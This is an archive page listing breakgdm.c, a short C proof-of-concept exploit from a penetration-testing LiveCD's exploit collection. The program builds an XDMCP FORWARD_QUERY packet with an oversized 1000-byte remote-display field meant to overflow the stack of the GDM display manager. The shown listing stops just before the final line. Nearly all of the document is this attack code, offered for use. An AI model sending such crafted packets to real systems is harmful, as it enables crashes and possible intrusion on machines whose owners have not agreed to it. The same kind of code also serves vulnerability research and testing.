home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / breakgdm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  968b  |  46 lines

  1. /*    
  2.  * breakgdm.c - Chris Evans
  3.  */
  4.    
  5. #include <unistd.h>
  6. #include <string.h>
  7. #include <netinet/in.h>
  8.  
  9. int
  10. main(int argc, const char* argv[])
  11. {
  12.   char deathbuf[1000];
  13.   unsigned short s;   
  14.   unsigned char c;    
  15.   
  16.   memset(deathbuf, 'A', sizeof(deathbuf));
  17.   
  18.   /* Write the Xdmcp header */
  19.   /* Version */
  20.   s = htons(1);
  21.   write(1, &s, 2);
  22.   /* Opcode: FORWARD_QUERY */
  23.   s = htons(4);
  24.   write(1, &s, 2);
  25.   /* Length */    
  26.   s = htons(1 + 2 + 1000 + 2);
  27.   write(1, &s, 2);
  28.   
  29.   /* Now we're into FORWARD_QUERY which consists of
  30.    * remote display, remote port, auth info. Remote display is binary
  31.    * IP address data....
  32.    */
  33.   /* Remote display: 1000 A's which incidentally smoke a path
  34.    * right to the stack
  35.    */
  36.   s = htons(sizeof(deathbuf));
  37.   write(1, &s, 2);
  38.   write(1, deathbuf, sizeof(deathbuf));
  39.   /* Display port.. empty data will do */
  40.   s = htons(0);
  41.   write(1, &s, 2);
  42.   /* Auth list.. empty data will do */
  43.   c = 0;
  44.   write(1, &c, 1);
  45.